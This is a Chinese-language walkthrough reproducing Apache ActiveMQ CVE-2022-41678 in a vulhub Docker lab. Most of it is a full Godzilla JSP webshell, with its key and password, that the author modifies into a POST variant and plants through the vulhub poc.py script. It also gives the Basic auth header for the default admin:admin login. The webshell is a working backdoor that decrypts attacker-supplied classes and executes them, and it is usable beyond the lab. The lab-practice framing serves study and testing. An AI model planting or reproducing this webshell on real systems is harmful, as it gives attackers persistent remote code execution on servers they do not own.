框架描述
ActiveMQ是一个开源的消息代理和集成模式服务器,它支持Java消息服务(JMS) API。它是Apache Software Foundation下的一个项目,用于实现消息中间件,帮助不同的应用程序或系统之间进行通信。
漏洞存在版本
Apache ActiveMQ < 5.16.6
5.17.0< Apache ActiveMQ < 5.17.4
靶场搭建
使用vulhub
搭建,activemq/CVE-2022-41678
启动靶场docker-compose up -d
目标IP:192.168.88.63
漏洞复现
靶场启动成功如下图,账号admin
密码admin
靶场提供脚本为GET型的webshell
,原脚本位置:https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2022-41678/poc.py
这里漏洞复现对提供的poc.py
进行修改webshell
内容,修改为POST
型的,修改原脚本中webshell内容为(该webshell是Godzilla默认生成的base64马,默认密码默认key):
webshell = ('<%!'
'String xc="3c6e0b8a9c15224a";'
'String pass="pass";'
'String md5=md5(pass+xc);'
'class X extends ClassLoader {'
' public X(ClassLoader z) {'
' super(z);'
' }'
' public Class Q(byte[] cb) {'
' return super.defineClass(cb, 0, cb.length);'
' }'
'}'
'public byte[] x(byte[] s, boolean m) {'
' try {'
' javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");'
' c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));'
' return c.doFinal(s);'
' } catch (Exception e) {'
' return null;'
' }'
'}'
'public static String md5(String s) {'
' String ret = null;'
' try {'
' java.security.MessageDigest m;'
' m = java.security.MessageDigest.getInstance("MD5");'
' m.update(s.getBytes(), 0, s.length());'
' ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();'
' } catch (Exception e) {}'
' return ret;'
'}'
'public static String base64Encode(byte[] bs) throws Exception {'
' Class base64;'
' String value = null;'
' try {'
' base64 = Class.forName("java.util.Base64");'
' Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);'
' value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });'
' } catch (Exception e) {'
' try {'
' base64 = Class.forName("sun.misc.BASE64Encoder");'
' Object Encoder = base64.newInstance();'
' value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });'
' } catch (Exception e2) {}'
' }'
' return value;'
'}'
'public static byte[] base64Decode(String bs) throws Exception {'
' Class base64;'
' byte[] value = null;'
' try {'
' base64 = Class.forName("java.util.Base64");'
' Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);'
' value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });'
' } catch (Exception e) {'
' try {'
' base64 = Class.forName("sun.misc.BASE64Decoder");'
' Object decoder = base64.newInstance();'
' value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });'
' } catch (Exception e2) {}'
' }'
' return value;'
'}'
'%>'
'<%'
'try {'
' byte[] data = base64Decode(request.getParameter(pass));'
' data = x(data, false);'
' if (session.getAttribute("payload") == null) {'
' session.setAttribute("payload", new X(this.getClass().getClassLoader()).Q(data));'
' } else {'
' request.setAttribute("parameters", data);'
' java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();'
' Object f = ((Class)session.getAttribute("payload")).newInstance();'
' f.equals(arrOut);'
' f.equals(pageContext);'
' response.getWriter().write(md5.substring(0, 16));'
' f.toString();'
' response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));'
' response.getWriter().write(md5.substring(16));'
' }'
'} catch (Exception e) {}'
'%>')
执行脚本
连接webshell,请求头设置Authorization: Basic YWRtaW46YWRtaW4=
,设置请求头是因为在请求webshell时会要求401认证,该认证就是admin:admin
的base64加密
相关链接
https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2022-41678
https://blog.csdn.net/huangyongkang666/article/details/134814554
https://blog.csdn.net/m0_66912330/article/details/144609338